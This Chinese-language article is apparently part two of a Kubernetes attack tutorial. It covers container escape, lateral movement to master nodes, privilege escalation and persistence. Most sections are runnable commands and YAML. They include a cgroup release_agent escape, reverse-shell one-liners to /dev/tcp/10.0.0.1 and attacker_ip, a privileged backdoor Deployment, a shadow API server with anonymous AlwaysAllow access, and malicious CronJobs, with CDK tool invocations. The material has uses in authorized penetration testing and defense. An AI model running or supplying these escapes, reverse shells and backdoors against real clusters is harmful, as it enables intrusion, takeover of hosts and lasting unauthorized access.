K8s集群安全攻防(下)
字数 3122 2025-08-20 18:17:47
Kubernetes集群安全攻防(下)——逃逸、横向移动与权限维持技术详解
文章前言
本篇文章是"Kubernetes集群安全攻防(上)"的延续,重点补充Kubernetes环境中的容器逃逸技术、横向移动方法、权限维持手段以及相关扩展技巧。
逃逸相关技术
配置不当导致的逃逸
Privileged特权模式逃逸
前置知识:
- Security Context(安全上下文)用于定义Pod或Container的权限和访问控制
- Kubernetes提供三种配置Security Context的方法:
- Pod Security Policy(集群级别)
- Pod-level Security Context(Pod级别)
- Container-level Security Context(容器级别)
容器级别特权配置示例:
apiVersion: v1
kind: Pod
metadata:
name: hello-world
spec:
containers:
- name: hello-world-container
image: ubuntu:latest
securityContext:
privileged: true
逃逸演示步骤:
- 拉取Ubuntu镜像:
sudo docker pull ubuntu - 创建特权Pod的yaml文件
- 创建Pod:
kubectl create -f myapp-test.yaml - 进入Pod进行逃逸操作:
kubectl exec -it myapp-test /bin/bash fdisk -l # 查看磁盘 cat /proc/self/status | grep CapEff # 查看权限 ./cdk run mount-disk # 使用CDK工具逃逸
CAP_SYS_ADMIN配置逃逸
漏洞概述:
- Docker通过Linux Namespace实现资源隔离
- 危险启动参数会打破资源隔离界限:
--pid=host:绕过PID Namespace--ipc=host:绕过IPC Namespace--net=host:绕过Network Namespace--cap-add=SYS_ADMIN:允许mount特权操作
利用前提:
- 容器内root用户
- 容器使用SYS_ADMIN Linux capability运行
- 容器缺少AppArmor配置文件
- cgroup v1虚拟文件系统以读写方式安装在容器内部
漏洞利用步骤:
- 创建临时目录并挂载memory cgroup:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp - 创建子目录:
mkdir /tmp/cgrp/x - 设置notify_no_release属性:
echo 1 > /tmp/cgrp/x/notify_no_release - 获取容器在宿主机上的存储路径:
host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab` - 创建恶意cmd文件:
echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd chmod a+x /cmd - 触发执行:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
CAP_DAC_READ_SEARCH逃逸
影响范围: Docker 1.0及更早版本
场景描述:
- 早期Docker容器默认拥有CAP_DAC_READ_SEARCH权限
- 容器内进程可使用open_by_handle_at函数对宿主机文件系统暴力扫描
漏洞复现步骤:
- 修改shocker.c中的目标文件路径(如改为/etc/hosts)
- 编译POC:
gcc shocker.c -o shocker - 将POC复制到容器内:
docker cp /path/to/shocker container_id:/tmp/shocker - 在容器内执行POC访问宿主机敏感文件
内核漏洞逃逸
常见内核漏洞:
- CVE-2016-5195(脏牛漏洞)
- CVE-2017-7308
- CVE-2017-1000112
- CVE-2021-22555
- CVE-2021-31440(Linux eBPF)
- CVE-2022-0185(Linux Kernel Escape)
脏牛漏洞逃逸示例:
- 下载测试环境:
git clone https://github.com/gebl/dirtycow-docker-vdso.git - 运行测试容器:
sudo docker-compose run dirtycow /bin/bash - 编译执行POC:
cd /dirtycow-vdso/ make ./0xdeadbeef attacker_ip:port
危险挂载逃逸
HostPath目录挂载
利用步骤:
- 确认容器具有主机系统完整权限
- 发现危险挂载点(如/host-system)
- 使用chroot获取宿主机权限:
chroot /host-system bash - 访问节点级别Kubernetes配置:
cat /var/lib/kubelet/kubeconfig - 使用kubelet配置操作集群资源
/var/log危险挂载
场景特点:
- Pod以可写权限挂载宿主机/var/log目录
- Pod的ServiceAccount有权限访问该Pod在宿主机上的日志
利用原理:
- 在容器内创建符号链接指向宿主机根目录
- 构造包含该符号链接的恶意kubelet请求
- 宿主机解析符号链接导致任意文件读取
利用工具:
https://github.com/danielsagi/kube-pod-escape
Procfs目录逃逸
利用步骤:
- 获取容器在宿主机上的绝对路径(通过/proc/mounts)
- 修改/proc/sys/kernel/core_pattern:
echo -e "|/var/lib/docker/overlay2/.../merged/tmp/.x.py \rcore" > /host-proc/sys/kernel/core_pattern - 在容器内创建反弹shell脚本/tmp/.x.py
- 运行崩溃程序触发执行
横向渗透技术
基本原理
- 利用K8s污点(Taints)和容忍度(Tolerations)特性
- 主节点通常包含阻止Pod调度的污点
- 系统级Pod可以容忍这些污点
横向移动步骤
- 查看节点信息:
kubectl get nodes - 确认Master节点容忍度:
kubectl describe node master | grep 'Taints' -A 5 - 创建带有容忍参数的Pod:
apiVersion: v1 kind: Pod metadata: name: control-master-15 spec: tolerations: - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule containers: - name: control-master-15 image: ubuntu:18.04 command: ["/bin/sleep", "3650d"] volumeMounts: - name: master mountPath: /master volumes: - name: master hostPath: path: / type: Directory - 通过挂载获取Master控制权:
kubectl exec control-master-15 -it bash chroot /master bash
扩展技巧
清除污点直接部署Pod到Master节点:
kubectl taint nodes debian node-role.kubernetes.io/master:NoSchedule-
权限提升技术
相关CVE漏洞
- CVE-2018-1002105:Kubernetes API Server权限提升
- CVE-2019-11247:Kubernetes API Server权限提升
- CVE-2020-8559:Kubernetes API Server权限提升
Rolebinding权限提升实例
- 部署Kubernetes Dashboard
- 获取默认token:
kubectl describe secrets kubernetes-dashboard-token-xxxx -n kubernetes-dashboard - 创建管理员ServiceAccount:
kubectl create serviceaccount admin-myuser -n kubernetes-dashboard kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:admin-myuser - 获取新token登录Dashboard
权限维持技术
Deployment特性利用
持久化原理:
- 使用Deployment确保特定数量Pod副本始终运行
- 即使容器被清理也能自动恢复
手动实现步骤:
- 创建包含恶意载荷的dep.yaml:
apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deploy spec: replicas: 3 template: spec: hostNetwork: true containers: - name: nginx image: nginx:1.7.9 command: ["bash"] args: ["-c", "bash -i >& /dev/tcp/attacker_ip/port 0>&1"] securityContext: privileged: true - 部署后门Pod:
kubectl create -f dep.yaml
工具实现:
./cdk run k8s-backdoor-daemonset (default|anonymous|<token-path>) <image>
Shadow API Server技术
基本概述:
- 创建具有API Server功能的隐蔽Pod
- 开放更大权限且不记录审计日志
手动实现步骤:
- 复制kube-apiserver的YAML配置
- 修改关键参数:
- --allow-privileged=true - --insecure-port=6445 - --insecure-bind-address=0.0.0.0 - --secure-port=6445 - --anonymous-auth=true - --authorization-mode=AlwaysAllow - 创建Shadow API Server Pod
工具实现:
cdk run k8s-shadow-apiserver default
K8s CronJob持久化
基本概述:
- 利用CronJob执行周期性任务
- 设置定时执行的恶意命令
手动实现:
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: hello
spec:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: alpine
command: ["/bin/sh", "-c", "malicious_command"]
工具实现:
./cdk run k8s-cronjob default min alpine "malicious_command"
推荐工具
-
Nebula:云和DevOps渗透测试框架
- GitHub: https://github.com/gl4ssesbo1/Nebula
-
k0otkit:Kubernetes后渗透工具
- 特点:使用kube-proxy镜像、动态容器注入、流量加密
-
CDK Tools:容器环境渗透测试工具包
- GitHub: https://github.com/cdk-team/CDK
-
Kubesploit:跨平台后渗透利用框架
- GitHub: https://github.com/cyberark/kubesploit
参考链接
- Kubernetes安全研究视频:https://youtu.be/GupI5nUgQ9I
- 容器逃逸实践:https://capsule8.com/blog/practical-container-escape-exercise/
- Linux内核漏洞利用:https://googleprojectzero.blogspot.com
- Metarget漏洞环境:https://github.com/Metarget/metarget